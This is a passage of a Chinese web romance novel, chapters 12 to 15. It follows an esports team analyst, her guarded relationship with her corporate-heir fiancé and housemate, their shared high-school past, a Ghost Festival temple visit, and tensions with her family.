“我家里人……不太支持我做这个。”祝陶浮冲他笑笑,柔和出声。
落在众人眼里,顿觉恍然大悟,了然点点头:
懂了,又是拿的传统家庭剧本。
祝陶浮长得漂亮学历高,标准的三好学生乖乖女,家人估计是想让她老老实实学习工作,而不是在吃青春饭的电竞钟磋磨。
更何况,一个月的磨合,对于观众而言,赢了会将功劳归咎于选手,输了这个临时分析师必将成为背锅位。
如果没有把电竞当作职业,这一个月的经历,的确得不偿失。
其他人被祝陶浮的理由说服,离他最近的祁招,轻飘飘地看了她一眼。
第一次在训练室会面,祁招听见她这个理由,只嗤笑了声,毫不客气地拆穿谎言。
“骗骗自己得了。”
祝陶浮眨了眨眼,饶有兴致地接了一句玩笑梗:“别把哥们也骗了?”
猝然被怼,祁招微眯起眼,舌尖顶了下腮帮:“……你倒是心大。”
赛训组看他难得吃瘪,在一旁附和帮腔:“心大好,说明能抗压,QSG就需要小祝这样的人才。”
鼻子里哼出一声,祁招冷漠敲打:“不管你目的是什么,不许影响比赛。”
她点点头,立刻答应:“好的队长。”
--
第三赛段季后赛在即,下午QSG与其他队伍约定训练赛,训练结束队员们各自rank练习,赛训组进行战术复盘。
新人初来乍到,刚开始大家嘻嘻哈哈,一旦投入到真刀真枪的峡谷,他们瞬间收敛,打气十二分的精神严阵以待。
对于祝陶浮专业质疑,则是在她拿出背包里携带的笔电,打开条分缕析的数据建模,消失得一干二净。
上面详细分布了,关于每场比赛从选手到峡谷里一草一木的眼位分析。
不仅具备这些基本功,而且对于ban pick的选择,
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有自己的注释理解。
游戏版本不断更新,比赛模式变幻莫测,在今年引入全局bp以后,赛训组的战术地位陡然间上升。
因为过往一套ban位或者一套pick,靠着三板斧走到黑的路子,是行不通了。
对于赛训组,是机遇,亦是挑战,必须拿出足够的战术储备应对,而且还要见招拆招、随机应变。
选手们座位靠窗,赛训组的座位在后方中间,方便观看复盘全局。
从中午一点半,到凌晨一点半,整整十二个小时,除了晚上吃饭,祝陶浮没有一刻离开自己的工位。
队伍里请客最多的是祁招,点了夜宵外卖,祝陶浮仍坐在自己工位上,边吃边看下午训练赛的回放。
凌晨三点半,队员们开始依次回去休息,祝陶浮还在盯着电脑,敲击键盘忙碌。
耳机忽然被人摘下,祝陶浮疑惑抬眸。
映入眼帘的,是对方蓬乱不羁的狼尾。
“第一天上班,也还没到生死局,强度暂时就到这里。”指尖轻挑将耳机丢桌上,祁招睨向她:“我可不想你倒工位,再换一个分析师。”
言语刺耳了些,祝陶浮知晓他是在催自己休息。
不止对她,下午祝陶浮第一次真正参与进赛事,祁招没有丝毫赛场外风言风语里的作风散乱,反而严谨认真,不放过一丝一毫的问题过失。
说起话来,言简意赅,一针见血,平等地批判在场所有人。
相较下午的严厉批评,此刻已经算是祁招的平易近人了。
祝陶浮开始收拾东西装进背包,祁招站在旁边,继续懒洋洋道。
“还有,回去注意安全。”
“放心吧,队长。”祝陶浮浅浅地伸了个懒腰,表示自己没问题。
洲安市区这一带的治安还不错,夜跑上过新闻宣传。
这座不夜城,除了祝陶浮,也有许多刚下班、或者正上班的人,在街道上交错而过。
“以及,明天我不想听见,你住的那位朋友家,出了什么原因,不能按时到达。”末了,祁招吊儿郎当丢下这么一句。
长时间沉浸在赛事数据里没有觉得很累,突然中断,身体的疲惫延迟袭来。
后知后觉感到困倦,祝陶浮堪堪比了个ok的手势。
--
走出基地大门,需要穿过几个街区,回到老洋房的别墅群。
白日里热闹欢腾的街道,在黑夜里沉沉睡去。
高楼大厦霓虹灯光,闪烁映照着人们奔赴的来路。
街角有家24小时便利店,祝陶浮进去买了瓶牛奶,边走边回想今天的赛训。
即使之前做好准备,到底纸上谈兵,实际与理论太不一样,祝陶浮温吞怠慢惯了,久违地感到一种,要拼个输赢的兴奋刺激。
她咬着习惯,思考峡谷里的厮杀画面,没有留意到,路口转弯处停泊着的黑色车辆。
心想与自己无关,祝陶浮稍稍离马路远点、往人行道里侧挪了挪,继续行走。
直到,车上下来一人,她顿住脚步。
“你怎么来了。”
老街区路灯昏黄,在男人深邃凛冽的眉眼间,投下一道模糊柔和的光晕。
夜风轻拂起额前垂落的黑发,梁以盏抬起灰沉的眼眸,静静地注视过来。
衬衣收束劲瘦腰身,白日里工作严丝合缝的领口,下班后散了两颗扣子,性感喉结与锁骨线条一览无余。
往下的冷白胸膛若隐若现,泛溢着随性慵懒。
半挽起袖口,露出的小臂线条流畅,梁以盏自然地走过去,动作像是做过无数遍那样,在祝陶浮怔忪的时候,接过她单肩背着的书包。
“每次见到我就这么一句。”嗓音低哑,梁以盏掀起眼皮,漫不经心地调侃道。
“小复读机。”
12. 第 12 章
梁氏集团董事办,裴瑄在会客室等得无聊,溜到秘书处敲了敲门。
“诶,美女,我听说这段时间,你们梁董心情似乎不错啊,审批文件基本都一条过。”
以往,下属汇报工作都是战战兢兢,因着梁以盏总会鸡蛋里挑骨头,打回去重新提交。
然而九月以来,梁以盏对文件过得很快,没有格外挑三拣四。
甚至某天路过董事办的前台区域,还提醒她们可以收工回家,别让家里人等着急了。
天知道前台第一次听到这句话不是感动而是不敢动,以为自己做错了什么,梁董让自己收拾铺盖滚人。
平心而论,梁以盏严苛归严苛,指出的问题句句在理,并非刻意刁难。
比他那两关系户长兄,不懂专业领域、强行胡乱指挥,弄得公司上下筋疲力竭、疲于应付,可好太多了。
接下来几天,梁以盏自己独自加班,放其他人回去团聚。
起初由于梁以盏加班过晚,不知道什么时候结束,下属们胆战心惊,打起十二万分的精神,关注一草一木的动静。
但他第二天准时出现在办公室,会议上丝毫不显疲态,反而有种容光焕发的英俊,比以前死气沉沉、降至冰点的阴冷,可好太多了。
曾经是有多喜欢梁以盏这张脸,就有多讨厌他这个领导。
现在则跟着爱屋及乌起来,原本被他无情摧毁的粉红泡泡,又开始弥漫。
秘书和特助是梁以盏提上来的老油条,他们面对裴瑄的调侃缄口不言,将问题抛给新来的助理。
助理学历虽高,涉世未深,裴瑄仗着好皮相和她温柔闲侃,她觉得这应该算不上工作相关的内容,便犹豫着,交代了几分。
“那,他最近,有没有换换口味。”裴瑄笑了笑,继续追问:“比如,不靠咖啡提神,来点小甜品?”
还是临期面包的那种,后半句他没提,怕下属发现跟的领导,脑子有病。
“啊,没听说吧……”助理想了想,谨慎开口:“梁董不喜那些,很厌恶明知故犯。”
言下之意,自己不会故意犯忌讳,很想保住这份工作。
“梁董到底是领导,高精力人群,我每天喝中药调理气血,依然兴致缺缺,提不起劲儿。”助理感叹,他的工作效率属实超出人类范围。
裴瑄了然,听出个大概意思,百无聊赖地说:“什么中药,他喝的春药吧。”
助理一惊,猛然间有些后悔,自己不该这么冒失,同一个外来人闲侃领导八卦。
“有句话怎么说来着,自古逢秋悲寂寥,我言秋日胜春朝啊。”
助理:……
“……梁董,他不是诗人。”裴瑄过了把嘴瘾,助理心里苦,讷讷地解释。
裴瑄却好似恍然大悟似的,重复了一遍:“我懂我懂,我也觉得,梁董不是人!”
助理:……?
你别害我!
话音刚落,门口出现一道熟悉的清冷身影。
很显然,方才两人最后的对话,正主本人听见了。
“梁董,我……”助理欲哭无泪,正欲从座位上站起来,同他辩解。
可对方脚步未停,并未对此多做评价,好像就这么……放过自己了?
—
“不是我说,你这新招的助理,也太笨了。”偌大的办公室宽阔安静,将洲安的黄金地段尽收眼底。
一关上门,裴瑄瞬间换了个脸色,垮着脸颇为嫌弃。
没有分给他丝毫眼神,梁以盏径直坐到办公桌后。
“是吗,那你和他聊这么开心。”言下之意,裴瑄纯属五十步笑一百步,才能和助理同频交流。
“你懂什么,舍不得孩子套不着狼,这不是,挖出你的隐私了?”裴瑄贱兮兮地看向他,倚靠着桌面调侃道。
“放别人回去跟家里人约会,自己一个人独自加班,梁董真是,太令人敬佩了。”裴瑄笑嘻嘻地拍了拍掌心,以资鼓励。
对于他的浮夸表现,梁以盏只赏他一个“滚”字。
“你大半夜的,是在偷偷约会哪位佳人呢。”一语中的,裴瑄仗着经验丰富,道破事实本质。
终于,梁以盏从项目协议里抬起头,冷笑了一声:“你要羡慕有约,我今晚给你安排去项目上聚聚。”
梁以盏和裴瑄自幼认识,两人同在国外长大。
在梁以盏高中家中变故而回国后,依旧保持着来往。
裴瑄此人油腔滑调,交际属实迫于无奈,最不喜欢同人应酬。
“nonono……”裴瑄拒绝三连,巧妙地转移话题。
“是吗,我看你热络的很。”梁以盏剜了他一眼,随后再也不想给他眼神,忙碌于工作之中。
“诶,我说真的,你那两兄长不至于这么落魄吧,塞了如此一个蠢货进来。”
“假戏做真,他们才会信。”梁以盏淡淡道,翻阅手头文件。
梁氏大少爷和二少爷,与梁以盏同父异母,新来的助理,就是他们两的人。
聪明的、伶俐的无论男女,统统被梁以盏识破。
大约是剑走偏峰,以期降低对方警惕,大少和二少,选了这么个蠢的送过来。
裴瑄轻啧了两声,感叹梁以盏的冷漠无情,不过眼下他有更关注的事情。
“虽然不清楚你每天加班变多,心情反而变好,这种负相关关系的增长,具体原因何在。”裴瑄笑了笑,饶有兴致地挑起眉梢。
“不过,肯定跟你金屋藏娇的那位娇,必有关联,就好比那临期面包。”
“你跟祝小姐,也是假戏真做?”
祝的发音,他故意加重读音。
明显的第四声,而非圈内人以为的第一声,朱。
屋内静谧寂寥,只有翻阅文件和空调微弱的冷风声。
对方不答,裴瑄自顾自往下:“但你也演得太真了吧,从高中演到现在,还没演够呢。”
梁以盏签字的手笔没有停顿,书写流畅,像是裴瑄的猜测,是个错误的笑话。
—
积分排名靠后的队伍,打完骑士之路,逐渐决出季后赛名次,开始向高位排名发起挑战。
季后赛第一场比赛的日子一天天趋近,QSG队内氛围,由收假的轻松,转为备战的紧张。
比赛的前一天是中元节,经理年纪三十来岁年纪不算太大,但到底稍稍长他们一些,而且俱乐部运营是商业化性质,有些事情宁可信其有、不可信其无。
提前两天,他就开始语重心长地叮嘱:“明晚都不许出去吃夜宵,好好地呆在基地啊!”
年轻人都不太感冒,架不住经理絮絮叨叨,队员们单挂着耳机,敷衍应声。
“你明天早点下班回去,别再外面逗留。”
走到祝陶浮座位旁,屈起手指在她桌面敲了两下,祁招示意。
第一场紧张归紧张,虽然对方从骑士之路杀上来,手感正热,QSG有被以下克上的风险。
但无论从队伍交手的胜败次数,还是风格压制,都是擅长打架的队伍,QSG胜在老将多、基本功强,比赛结果应该会以QSG胜利,没有太大悬念。
赛前预测,主持解说和电竞博主,几乎都把票投给了QSG,只是比分略有差距。
没有第一时间答应,她稍作思考后,抬头询问:“我今天就通宵呆在基地,把bp数据整理好后,明天请一天假。”
“可以吗?”
祁招散着狼尾,懒洋洋地垂下眼皮:“啧,得寸进尺。”
祝陶浮哦了声,
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追问道:“那你答应吗?”
没有过多过问,祁招转身,丢下一句:“后天准时到。”
祝陶浮:“好的,队长。”
—
农历七月十四,早晨六点半,祝陶浮离开QSG基地。
很久没有通宵,不过每天回去洗漱完躺床上,差不多是四五点,祝陶浮没有感到过于疲惫,走着走着反而愈发清醒。
基地周围是老城区,早晨充满着烟火气。
上学的学生拎着包子豆浆,匆匆忙忙骑着单车飞奔前往。赶早班的上班族则揣着面包咖啡,走上路边停靠的轿车,或是刚下小电驴,转站进地铁。
祝陶浮跟散步的大爷大妈们融为一体,慢悠悠地与快节奏格格不入。
门锁人脸自动识别,她进屋的时候,梁以盏碰巧正在下楼。
“回来了。”梁以盏看了她一眼,很自然地打招呼。
昨晚祝陶浮跟他发消息,让他不用来接自己,因为要通宵整理数据。
从她在QSG工作开始,每晚梁以盏都会在街角路口等她一起回去。
起初祝陶浮说不用,自己步行返回,刚好在路上,理一理整日呆在训练室的思绪。
梁以盏没有多说什么,同样的理由还给祝陶浮--
坐办公室一天,下班在外散步休整。
路灯昏黄,照得人有些看不清,斜斜地模糊了身影。
仿佛与六年前,站在最后一班地铁口,接她上完补习班的高中少年,交错重叠。
他们都说,顺路而已。
那时的两人总有话聊,说学习,也会谈论游戏比赛。
前者是祝陶浮问,梁以盏答疑解惑,后者则反过来,梁以盏对游戏比赛并不感兴趣,但还是会有一搭没一搭地闲聊。
现在话题内容从学习到工作,从旁观的观众视角,转换为真正的参与者。
默而不宣地,祝陶浮没有像学生时期讨教那样刨根究底,梁以盏避开涉及游戏生涯的尖刻问题。
时隔这么多年,两人隔着山海,如雾重重。
直至寂寥昏沉的三更半夜,方才偶然撕破白日里粉饰的一角,堪堪显露出些许从来变过的东西。
所以当梁以盏衣着休闲、简单的t恤长裤,出现在眼前,祝陶浮有一瞬间晃神。
“你……”
在她愣怔的时刻,对方已然走近,凛冽气息混着沐浴后的熏热水汽,一下子铺天盖地将人包裹。
湿发稍显凌乱,水滴浅浅地顺着额角划过,滴落在挺直鼻尖、凛冽下颌与轻微滚动的喉结。
他抬眼望过来,湿长眼睫下的灰瞳,恣肆潋滟,像是要直直地看进人心底。
祝陶浮眨了眨眼,慢吞吞地说:“你上班跟上学一样,还是早上起来会洗澡,也是为了让自己清醒一点吗?”
不知道为什么,片刻沉默后,梁以盏才堪堪开口。
“……刚从健身房出来。”
没听出来他声音里,有些咬牙切齿的意味,祝陶浮尚在恍然大悟:“哦,晚上散步,早上还健身,你好自律。”
半晌,梁以盏哑着声线:“……我谢谢你。”
仍然不明所以,祝陶浮继续说:“话说这个点了,你怎么还在这里?不用上班吗?”
见他一副居家休闲的模样,慵懒神情不像要去公司的肃冷漠然。
好整以暇站在原地,梁以盏总算收了收沉冷的气息,似笑非笑道。
“你以前说,中元节阴气最盛,容易撞鬼。”
“既然你准备去观里,那我勉为其难,跟你一起。”
祝陶浮:“我看不必麻烦你……”
“否则,晚上回来的,是人还是鬼。”瞥看向她,梁以盏平淡打断。
祝陶浮:……
13. 第 13 章
坐在餐桌旁吃早餐,两人餐品里蔬菜蛋奶等营养是必不可少,佣人依然稍加作了区分:梁以盏是典型的西式餐品,培根沙拉之类,祝陶浮则是具有碳水城市的特色,面点是她的心头好。
令祝陶浮惊喜的是,餐盘里放着热气腾腾的酥饺,裹着豆粉,咬下金黄脆边,里面糯米软乎乎、甜滋滋,夹杂着一点点发酵后的酸涩。
洲安有类似的糖油混合物是糖饺,都是外酥里糯,祝陶浮吃了觉得不错。
以前在洲安读高中,她自己买过、梁以盏也给她带过,但她还是怀念江梧,那甜里带了一点酸的滋味。
即使现在回到江梧,正宗酥饺所剩无几,网红店里尝起来的口感,像是升级版的红糖糍粑,没有一点酸、只有满口甜。
此时此刻,一顿平常的早餐,祝陶浮竟然尝到了记忆里儿时的味道。
盘子里的酥饺很快消灭殆尽,祝陶浮想问厨房再要一份。
“没有了。”坐在对面的梁以盏,替佣人回答。
“……哦。”祝陶浮不情不愿,低头扒拉着酸奶碗里的蓝莓。
管家在一旁协调,让佣人将温热的豆浆递到她手边,和蔼笑道:“夫人,先生是为你健康着想,早餐碳水不宜过多,容易血糖升高。”
待人走后,祝陶浮看了眼对面,小声地道了句谢。
“谢谁。”并不接招,梁以盏慢悠悠反问。
祝陶浮微一蹙眉,无奈道:“你……”
“算了,你们怎么都这么问。”
“你们。”敏锐捕捉到她话里的字眼,凉凉地掀起眼皮,看了过来。
“就是……反正你也不认识。”祝陶浮吃饱喝足,抽过纸巾、打算起身离开。
“祁招吧。”末尾虽然跟了语气助词,梁以盏懒洋洋地调子,却暗含肯定。
祝陶浮一愣,反问回去:“你认识他?难道你现在还有时间看比赛?”
在她的印象里,梁以盏对玩游戏或者看比赛,都不感兴趣。
读书的时候顶多涉及ban pick还有英雄之间牵制抗衡、数值关系,祝陶浮会与他探讨一二。
如今管理庞大复杂的商业集团,更是没有时间留作休闲玩乐。
即使娱乐,基本是带有目的的应酬。
想想这话,祝陶浮自觉问得多余,想了想,若有所思道。
“我明白了,听说他家境不错,估计是你跟他们家生意有往来,所以对他略有耳闻。”
“我需要关注他?”梁以盏轻嗤了声,毫不掩饰讥诮意味。
的确,就算QSG是祁招出资,在电竞圈属于豪门战队,这点资产对于梁以盏,恐怕算不上斤两。
在她思索的时候,梁以盏漫不经心地继续道。
“所以,你怎么谢的。”
回过神来,祝陶浮看着他,说:“祁招吗,说了句谢谢队长。”
他轻轻地嗯了声,不置可否,但祝陶浮觉得,梁以盏半垂着眼尾,似乎心情不是特别美丽。
“那我呢。”
对面忽然看过来,鸦羽长睫掀起,清晨阳光碎在他眼底,沉静的灰眸溢出的光太亮,反而让人看不清。
稍稍怔了怔,祝陶浮犹豫着回答道:“……谢谢室友?”
之前梁以盏提及名分,他定义为两人不是同学、不算室友,但祝陶浮觉得,概念可以换成合租室友,也没问题嘛。
不知道是不是气笑了,梁以盏轻哂了声,给出评价:“敷衍。”
自觉很用心地在思考问题,祝陶浮:……
尽管不满的情绪溢于言表,梁以盏没有多作停留,起身吩咐管家,让司机把车停在门口。
祝陶浮跟在他身后,走出别墅。
传说中,今天是鬼魂回到人间的日子。
庭院里的树木在阳光下依旧花枝招展,但可能是心理作用,或者是看不见的自然规律,花花草草没有往日里鲜艳夺目,蔫蔫地垂着脑袋,蒙上浅淡的阴翳。
可能是雾气吧,祝陶浮心想。
前方的身影依旧清冷高挺,丝毫不受外界的任何影响,睥睨前行、破开迷障,给人莫名的沉稳与安心,一如缓缓流动的往昔岁月。
“茶茶。”没由来地,祝陶浮突然叫住他。
话一出口,祝陶浮脑子也慢了半拍,心想怎么会这么称呼……
可说出去的话,泼出去的水,收不回来。
对方站定,回过身来好整以暇地看着她。
“老土。”眉眼微挑,似是有些嫌弃,不过祝陶浮能听出,他心情好了些。
“那你觉得土,给我看看,你给我的备注。”祝陶浮伸手,作势就要看梁以盏打开手机,给自己的微信名是什么。
世界未解之谜,高中的时候,梁以盏到底给自己改的什么备注。
叫他茶茶,是因为祝峥在给祝陶浮打电话时,备注是“猪头哥”,被梁以盏瞧见。
他不经意间调侃,问是他男朋友吗,备注这么亲密。
祝陶浮不明所以,嘲讽拉满的猪头表情,外加一个哥字,亲密在哪。
于是她随口道,你要喜欢,我也给你改备注啊。
然后梁以盏的昵称,就成了emoji“茶”。
冠冕堂皇的理由,祝陶浮如是言:“黑暗里的那一盏灯,要点亮所有人的路,也太累了吧。”
梁以盏这名字,太冷清、太孤寥。
黑暗里幽幽灯火,靠不近、抓不住。
他那两位长兄名字,寓意听起来要好上太多:
梁靖明,梁煜。
曾经的梁以盏,是梁家唯一少爷,正大光明,从出生起就含着金钥匙。
然而事随时移,命运斗转,姓名就像印证了命数,梁靖明和梁煜身为私生子,反倒后来居上,堂而皇之占据了阳光下的一切。
而梁以盏,只能在黑暗里苟延残喘。
说着,她指了指手里的奶茶:“就当白日里一盏茶,悠闲自在,多好。”
实则她觉得,梁以盏说话总是弄得她一愣一愣,回怼不过,祝陶浮就气不过改成“茶”,茶里茶气的。
长夏路的私立高中,蜷缩在混杂的市井,就像它的地理位置,窝藏着的基本都是见不得光的私生子。
名字倒是随了路名,简单但不敷衍,就叫长夏国际中学。
梁以盏经常不在学校,祝陶浮背着祝家下午半天放学后,去上补习班、走高考升大学的路线,而非申请制去国外。
两人就像两条平行线,几乎除了深夜梁以盏在地铁口接她回出租屋,从不相交。
难得白日里碰见,由于祝陶浮的补习
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班老师因故无法到场,梁以盏替她联系了新老师,他说自己在附近办事,顺便送她过去。
路过奶茶店,祝陶浮为表感谢,给自己和他一人买了一杯奶茶。
两人端着奶茶杯并肩往巷口走,如同周围其他的学生们一样,行走在喧嚣的尘世间。
“你是看买一送一,才点了这个吧。”拎着花花绿绿的小甜水,梁以盏眼神里颇为嫌弃。
诚然是买一送一的款式,可祝陶浮觉得赶上打折当然节约为主,选购此类。
索性朝他一伸手,说:“其实我可以喝两杯。”
没等到奶茶,少年懒洋洋道:“怕你长胖,替你分忧了。”
祝陶浮不买账,继续说:“那你怎么一直叫我多吃点,嫌我太瘦。”
轻啧了声,梁以盏侧瞥着眸:“小姑娘这么记仇。”
“你都说我小了,我就是气量小啊,很记仇的。”祝陶浮应了下来,一只手端着奶茶,另一只手比划,指向细瘦白皙的脖颈:“喏,你掐我这里的事情,我可是记忆犹新。”
虽然,那一处早已没了红痕印记,梁以盏后来赔她的膏药,令其恢复如初、莹莹如玉。
阳光下少女长发随风扬起,肌肤胜雪、唇色红润,比晚上见到她时的苍白疲惫,更显活泼灵动。
她的长相秾丽明艳,理应给人骄矜之感,可气质是超乎年龄的冷清沉静,不知道是不谙世事还是真的不在乎外界,像拂过的一阵轻风,猜不透抓不住。
此刻言笑晏晏,罕见地透露出十六岁年纪应有的蓬勃生命力,明媚而鲜活,令人挪不开眼睛。
梁以盏在注视,周围其他人也渐渐看过来。
“诶,你干嘛,你说不过就要动手啊……”
祝陶浮下意识地往后退了一步,光天化日之下,总不能又掐自己……
不对,那个时候在教室里,也是大白天,周围也有同学!
在她诧异的瞬间,梁以盏抓住了。
这次不是掐她脖子,换了个地方,手腕。
修长手掌包裹着细弱伶仃的腕骨,梁以盏牵制住她那只没拿奶茶、试图作乱的手,拉着她走向路边停靠的轿车。
“……啰嗦,再废话赶不上课了。”梁以盏。
多年以后,同样是寻常的日子里,祝陶浮玩笑式地朝他伸手,梁以盏垂着眼睑,依旧是漫不经心,拽向她的手腕,前往门口的停车。
“跟你一样,都很土。”
还是没把备注给她看。
但从前祝陶浮旁敲侧击过,跟茶一样,同样是食物emoji。
正欲追问,祝陶浮忽然觉得手腕上有什么冷硬质地的物件轻轻碰撞,而非梁以盏温热宽大的掌心。
右手手腕上,多了个银手镯,尺寸大小刚刚合适。
坐定在车内皮质座椅,祝陶浮抬起手腕,稍微转动了一下,发现手镯内壁没有外侧的光滑平整,而是细微的凹凸磨痕。
就像是……
自己也曾在银饰上,雕刻过的经文。
下意识地,祝陶浮朝他左手中指的地方看过去。
“在找什么。”
坦坦荡荡抬起左手,骨节分明的指节,那一点亮,在幽静车厢里格外刺眼。
梁以盏嗓线喑哑,漫不经心地说:“戒指吗。”
14. 第 14 章
农历七月十五,道教的中元节,佛教的盂兰盆节。
洲安城内各大寺庙、道观,人来人往、水泄不通,挤满了追思祭悼的人群。
梁以盏与祝陶浮所去的清心庙,方丈讲究随心随意,商业化气息并不浓重,即使是今天这样重要的日子,依旧香火稀微,人流量平平。
道观所在之处没有直达的交通,如果祝陶浮自行前往需要辗转地铁再公交,蹭上梁以盏的车过来,比预计时间提前了将近一个小时。
高中时期,清明节的早晨,两人曾一起前来此地。
其他的寺庙、道观,大多请购的,是明码标价的现成祭品。
清心庙里,香客可以自行折叠元宝,放于纸袋,以寄哀思。
祝家对于零花钱把控严格,祝陶浮精打细算需要用来背着他们去给补习班交辅导费。
清心庙赞叹随喜,价格没有其他热门寺庙价格高昂,还能自己亲手给母亲制作纪念用物。
“你们梁家,应该会有专门的师父、专场的法会进行祭拜。”时隔六年,两人再次踏进清心庙,祝陶浮好奇询问。
梁以盏轻点下颌,不置可否。
“那你还亲自来一趟。”祝陶浮:“不去宗祠吗?”
平日里寂静宽敞的中央祭坛,此刻数十位道长身着异色长袍,焚表升台、祝祈祷吿,整座庙宇回荡着阵阵乐鸣,似悲泣似悔泪,令闻者为之动容。
香灰随着清风幽乐,飘散在空中形成簌簌的灰雾,像是在炎炎夏日里,倾洒下寂寥无声的暗沉灰雪。
梁以盏眼睑轻掀,情绪并未与大殿内的其他信众一样忧伤悲痛,与灰雪同色的瞳眸,无波无澜,昭示着无机质的寒凉冰冷。
“你不也一样吗。”侧睨眼眸,梁以盏看向她。
半晌,祝陶浮轻叹:“可你又不信这些。”
“是。”他不偏不倚,坦然承认:“老爷子他们张罗祭拜,我等下直接回公司。”
祝陶浮顿了顿,道:“那我下午还是要回祝家,参与他们祭祖。”
两人去处不甚一致,但用词微妙相似。
理应是血缘至亲,不是“我们”,而是“他们”。
祝老太太极其迷信宗教信仰,否则不会力排众议,将祝陶浮接回祝家。
燕媛身为祝家实际的掌权人,见祝陶浮回到祝家以后,生意搭上梁氏这艘巨轮,跟着水涨船高,便默认了老太太关于祝陶浮利于祝家的说法。
前几年祝陶浮还可以推脱身在外地、学业繁忙,如今在洲安实习,说什么都是躲不过。
“祝陶浮。”很少连名带姓地叫他,梁以盏淡声说:“订婚的时候,我说过,跟着我有很多不确定,但唯一确定的,是你不想做的,可以不去做。”
上次祝峥邀约的聚会,祝陶浮自然是抗拒态度,最终还是选择前往。
就像下午的祭拜,她明明是不愿意,却决定按时到场。
今天整个洲安,所有的寺庙道观,都笼罩着一层哀愁氛围。
不知道为什么,听到梁以盏这话,她反而笑了笑:“那你就当我想去吧。”
在法物流通处领取纸箱,两人找了一处阴凉的树下,坐在木头圆凳上,开始在老旧木桌上,折叠金元宝。
对于高中生,最重要的就是高考。
哪怕祝家安排她去国际高中的目的,就是水个学历后包装成卖价更高的花瓶,所以祝陶浮在栖梧明明是高一,强行于暑期转学到高三,尽快能变现出售。
命运之所以玄妙,在于机缘巧合。
尽管长夏国际高中的老师,拿着高薪而不愿得罪这些弯弯绕绕的关系户学生,依旧存在零星的老师因为富有责任感、导致对混乱周遭格格不入,打算辞职离开这个地方。
祝陶浮所在班级的班主任,就是如此。
班主任忍受不了教书育人变成勾心斗角的工具,准备另谋他路。
恰巧祝陶浮于转来班级,在临走之前,班主任帮助她报名上第二年的高考后,便辞职回到自己西北的老家,甘愿重新在镇上小学里拾起教育工作。
母亲病逝后,骨灰由医院统一交由存放在栖梧市殡仪馆。
临近高考,祝陶浮没有时间回到当地常去的道观进行祭拜,便只好就近在洲安寻到清心庙追思。
那时她一边折着金元宝,一边默默念叨贴上寄往表文,希望能考取栖梧大学。
栖梧市有两所985院校,一所是栖梧大学,一所是盛科大学。
母亲当年种种原因,遗憾错过栖梧大学,一直希望女儿能考取她的心仪院校。
可惜她没能看到女儿长大考上大学,祝陶浮到底匆匆忙忙不到两年的时间结束高中,本科勉强进了栖梧的一所211财经院校。
不过研究生祝陶浮考取了盛科大学,算是另一种意义的圆了母亲高校梦。
六年以后,重新坐在这个位置,祝陶浮身边的人,依然未变。
同穿着祭奠的黑色系,沉默着坐在古槐树下,祈福红丝带飘扬在空中。
祝陶浮手工一向不是很好,长了一张漂亮的脸,做起折纸一类的精细活实在丑陋。
梁以盏则与她相反,修长手指灵活翻飞,叠的纸张又快又好。
阳光透过树梢,缀在他中指素圈,一闪一闪,晃迷人眼。
之前是梁以盏叠完给他母亲的那份纸钱,在一旁偏撑着脑袋,看她笨拙地
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叠出一个又一个大小不一的胖乎乎金元宝。
今天仍旧是梁以盏先行整叠,祝陶浮箱子里还剩一半,他长手一伸,拿出纸张与她一起折叠。
正在埋头苦干,祝陶浮的装袋里,飘过来一个整齐漂亮的金元宝,一看就不是出自她之手。
“你拿回去吧,你又不是庙里师父,不用帮忙。”祝陶浮忙于手上的折叠,头也不抬地说。
下一秒,又一个金元宝飘进袋子里,依旧好看完美,跟祝陶浮手里的两模两样。
“你……”她停下手里的活计,看向对面。
“你叠了我母亲收到了,会误会的。”祝陶浮讲。
本来梁以盏是一贯散漫漠然的神色,什么都不会看在眼底、放进心里。
但见祝陶浮一脸认真,还是稍稍收敛了懒散气息,撩起眼尾回望过去。
“误会什么。”梁以盏问。
当他敛起笑意,沉灰色眼瞳静静地注视一个人的时候,是很有压迫力的。
祝陶浮放下手里的元宝,慢慢地同他解释:“我们……我们既没有在月老殿发过誓,也没有在合欢洞跪拜,合法的证明也不存在。”
现在这个社会,物欲横流、人世无常,谁也不知道下一秒会发生什么。聚散离合来得快、去得也快,没有人再将其视作如何珍贵。
然而祝陶浮鲜艳浪漫的年纪,却跟个固执不知变通的老顽固,在老榕树下,絮絮叨叨、陈词列表,说起过去时光里的弯弯绕绕。
“所以我们非亲非故。”像是在解数学题,摆出证据,得出结论。
但她的心又真的很软,没她话语那么生硬老套。
说来说去,梁以盏听明白了,她是在委婉表达,他与她,没有任何关系。
拒绝人都拒得这么软,梁以盏眼底泛起微不可查的笑意。
周遭满是悲戚哀怆,他却想笑,觉得自己大抵不太正常。
可那又怎么样呢,他无所谓地想,偏要撬开她笨硬蚌壳下、内里的一丝柔软。
既然祝陶浮写下解题思路,他便将判定结果同样交还在她手里。
“非亲非故。”梁以盏缓缓地重复了一遍,祝陶浮以为他知晓自己的意思了,便着手继续对付手里的纸张。
一纸未封,第三个外来的金元宝,已然稳稳地飘落在她的袋子里。
“你不是说,心诚则灵。”指尖轻挑,梁以盏将其放进她那里。
祝陶浮疑惑了,耐着性子再次反问:“你刚刚还承认,你不信的。”
眼睫半垂,梁以盏似乎将注意力放在金灿灿的纸张上。
“我是不信。”答案依旧未改,他淡声说:“不信与心诚,不冲突的。”
15. 第 15 章
祝家宗族祠堂,在洲安北郊的一处风景区,修缮得恢弘肃穆。
此地依山傍水、风景秀美,完美印证风水构造,不少达官贵人亦在此处修建宗祠。
上午祝家在私人墓地里祭拜完毕,下午则在宗祠里进行专场法事。
自祝老爷子去世以后,祝老太太对于宗教极为尊重,不仅尊重东方佛道,西方基督□□,她统统信仰。
觉得祝家能有今天,自己能活到现在,全靠各路神仙庇佑。
一天二十四小时,除却吃喝休息,各个宗教的礼仪朝拜一遍,一天就过去了。
以往祝夫人燕媛,是最瞧不上这些。
但这几年身体每况愈下,人多病就会忧思,不得不开始怀疑一些人事以外,便由得祝老太太折腾去了。
七月十五的祭祖,在宗祠办得不像法会,倒像是各路能士斗法。
一片乌烟瘴气里,燕媛神色浅淡,像是在看一场闹剧。
她雍容华贵依旧,最近病情好转,气色不错。
见祝陶浮前来,象征性地同她打招呼,再无其余过问。
而祝启鸿身为当家长子,却是个没主见的,除了在男女之事上由着自己的性子,其他的都听凭燕媛吩咐。
两人疏离得不像父母,还不如招待客人热络。
毕竟,一件用来交换利益的工具而已,不用在意她的感受。
与梁氏的联姻尽管给祝家带来资源,其实不是祝家夫妇的首选。
梁以盏此人,太不可控了,与虎谋皮,绝非长久之计。
